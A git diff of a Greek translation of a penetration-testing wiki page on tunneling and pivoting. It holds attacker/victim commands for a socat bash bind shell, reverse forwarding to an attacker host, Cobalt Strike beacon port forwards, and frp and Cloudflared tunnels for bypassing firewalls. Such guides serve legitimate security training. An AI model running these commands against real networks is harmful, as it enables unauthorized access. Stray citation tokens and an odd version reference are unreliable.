mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to e
This commit is contained in:
parent
5cb686b212
commit
c035112e18
@ -87,10 +87,14 @@ iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
|
||||
```
|
||||
route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Ασφάλεια – Επίθεση Terrapin (CVE-2023-48795)**
|
||||
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει το αρχικό handshake SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels. citeturn4search0
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Μπορείτε να **tunnel** μέσω **ssh** όλη την **κίνηση** σε ένα **υποδίκτυο** μέσω ενός host.\
|
||||
Για παράδειγμα, προωθώντας όλη την κίνηση που πηγαίνει προς 10.10.10.0/24
|
||||
Μπορείτε να **δημιουργήσετε σήραγγα** μέσω **ssh** όλης της **κυκλοφορίας** σε ένα **υποδίκτυο** μέσω ενός κεντρικού υπολογιστή.\
|
||||
Για παράδειγμα, προωθώντας όλη την κυκλοφορία που πηγαίνει στο 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -145,21 +149,21 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> Σε αυτή την περίπτωση, το **θύρα ανοίγει στον host beacon**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον υποδεικνυόμενο host:port
|
||||
> Σε αυτή την περίπτωση, το **θύρα ανοίγεται στον host beacon**, όχι στον Team Server και η κίνηση αποστέλλεται στον Team Server και από εκεί στον υποδεικνυόμενο host:port
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
Για σημείωση:
|
||||
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση στον Server Ομάδας, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Team Server, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
|
||||
- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων.
|
||||
- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες.
|
||||
|
||||
### rPort2Port τοπικά
|
||||
|
||||
> [!WARNING]
|
||||
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή beacon**, όχι στον Server Ομάδας και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Server Ομάδας) και από εκεί στον καθορισμένο υπολογιστή:θύρα
|
||||
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον οικοδεσπότη beacon**, όχι στον Team Server και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Team Server) και από εκεί στον καθορισμένο host:port
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -219,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
|
||||
# Display the tun interfaces -- Attacker
|
||||
interface_list
|
||||
```
|
||||
### Σύνδεση και Ακρόαση
|
||||
### Σύνδεση και Ακρόαση του Πράκτορα
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
|
||||
@ -258,7 +262,7 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
|
||||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Δεσμός κελύφους
|
||||
### Bind shell
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
|
||||
@ -312,7 +316,7 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.
|
||||
```
|
||||
### Remote Port2Port
|
||||
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου.
|
||||
Συνδέστε την τοπική θύρα SSH (22) με την θύρα 443 του επιτιθέμενου υπολογιστή
|
||||
```bash
|
||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||
@ -322,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Είναι σαν μια κονσόλα PuTTY έκδοση (οι επιλογές είναι πολύ παρόμοιες με έναν ssh πελάτη).
|
||||
|
||||
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στον θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
|
||||
Καθώς αυτό το δυαδικό αρχείο θα εκτελείται στο θύμα και είναι ένας ssh πελάτης, πρέπει να ανοίξουμε την υπηρεσία ssh και την θύρα μας ώστε να μπορέσουμε να έχουμε μια αντίστροφη σύνδεση. Στη συνέχεια, για να προωθήσουμε μόνο την τοπικά προσβάσιμη θύρα σε μια θύρα στη μηχανή μας:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -346,10 +350,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Πρέπει να έχετε **RDP πρόσβαση στο σύστημα**.\
|
||||
Κατεβάστε:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **την τούνελινγκ πακέτων μέσω της σύνδεσης RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
@ -364,7 +368,7 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτής της θύρας.**
|
||||
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του θύρας.**
|
||||
|
||||
## Προξενήστε εφαρμογές Windows GUI
|
||||
|
||||
@ -384,7 +388,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Αυθεντικοποιεί έναν proxy και δεσμεύει μια θύρα τοπικά που προωθείται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\
|
||||
Για παράδειγμα, προωθήστε τη θύρα 443.
|
||||
Για παράδειγμα, προωθήστε τη θύρα 443
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
@ -392,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στον θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\
|
||||
Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222.
|
||||
|
||||
## YARP
|
||||
@ -442,9 +446,9 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Αλλαγή DNS του proxychains
|
||||
|
||||
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
|
||||
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και σήραγγες το tcp DNS αίτημα μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
|
||||
|
||||
## Τούνελ σε Go
|
||||
## Σήραγγες σε Go
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
@ -455,7 +459,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
|
||||
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν tun adapters και να σήραγγες δεδομένα μεταξύ τους χρησιμοποιώντας ICMP echo requests.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -498,7 +502,7 @@ chmod a+x ./ngrok
|
||||
|
||||
_Είναι επίσης δυνατή η προσθήκη αυθεντικοποίησης και TLS, αν είναι απαραίτητο._
|
||||
|
||||
#### Τούνελινγκ TCP
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
# Pointing to 0.0.0.0:4444
|
||||
./ngrok tcp 4444
|
||||
@ -514,7 +518,7 @@ _Είναι επίσης δυνατή η προσθήκη αυθεντικοπο
|
||||
#### Sniffing HTTP calls
|
||||
|
||||
_Χρήσιμο για XSS, SSRF, SSTI ..._\
|
||||
Απευθείας από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
Άμεσα από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunneling internal HTTP service
|
||||
```bash
|
||||
@ -541,6 +545,71 @@ httpstatic:
|
||||
proto: http
|
||||
addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Cloudflared (Cloudflare Tunnel)
|
||||
|
||||
Ο δαίμονας `cloudflared` της Cloudflare μπορεί να δημιουργήσει εξερχόμενους τόνους που εκθέτουν **τοπικές υπηρεσίες TCP/UDP** χωρίς να απαιτούν κανόνες εισερχόμενου τείχους προστασίας, χρησιμοποιώντας την άκρη της Cloudflare ως σημείο συνάντησης. Αυτό είναι πολύ χρήσιμο όταν το εξερχόμενο τείχος προστασίας επιτρέπει μόνο την κυκλοφορία HTTPS αλλά οι εισερχόμενες συνδέσεις είναι αποκλεισμένες.
|
||||
|
||||
### Quick tunnel one-liner
|
||||
```bash
|
||||
# Expose a local web service listening on 8080
|
||||
cloudflared tunnel --url http://localhost:8080
|
||||
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
|
||||
```
|
||||
### SOCKS5 pivot
|
||||
```bash
|
||||
# Turn the tunnel into a SOCKS5 proxy on port 1080
|
||||
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
||||
# Now configure proxychains to use 127.0.0.1:1080
|
||||
```
|
||||
### Μόνιμοι σήραγγες με DNS
|
||||
```bash
|
||||
cloudflared tunnel create mytunnel
|
||||
cloudflared tunnel route dns mytunnel internal.example.com
|
||||
# config.yml
|
||||
Tunnel: <TUNNEL-UUID>
|
||||
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
||||
url: http://127.0.0.1:8000
|
||||
```
|
||||
Ξεκινήστε τον συνδετήρα:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Γιατί όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα – χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν. citeturn1search0
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) είναι ένα ενεργά συντηρούμενο Go reverse-proxy που υποστηρίζει **TCP, UDP, HTTP/S, SOCKS και P2P NAT-hole-punching**. Ξεκινώντας από **v0.53.0 (Μάιος 2024)** μπορεί να λειτουργήσει ως **SSH Tunnel Gateway**, έτσι ώστε ένας στόχος υπολογιστής να μπορεί να δημιουργήσει μια αντίστροφη σήραγγα χρησιμοποιώντας μόνο τον προεπιλεγμένο πελάτη OpenSSH – δεν απαιτείται επιπλέον δυαδικό αρχείο.
|
||||
|
||||
### Κλασική αντίστροφη σήραγγα TCP
|
||||
```bash
|
||||
# Attacker / server
|
||||
./frps -c frps.toml # listens on 0.0.0.0:7000
|
||||
|
||||
# Victim
|
||||
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
|
||||
|
||||
# frpc.toml
|
||||
serverAddr = "attacker_ip"
|
||||
serverPort = 7000
|
||||
|
||||
[[proxies]]
|
||||
name = "rdp"
|
||||
type = "tcp"
|
||||
localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Χρησιμοποιώντας την νέα πύλη SSH (χωρίς δυαδικό frpc)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
./frps -c frps.toml
|
||||
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Η παραπάνω εντολή δημοσιεύει την θύρα του θύματος **8080** ως **attacker_ip:9000** χωρίς να αναπτύξει επιπλέον εργαλεία – ιδανικό για living-off-the-land pivoting. citeturn2search1
|
||||
|
||||
## Άλλα εργαλεία για έλεγχο
|
||||
|
||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
|
Loading…
x
Reference in New Issue
Block a user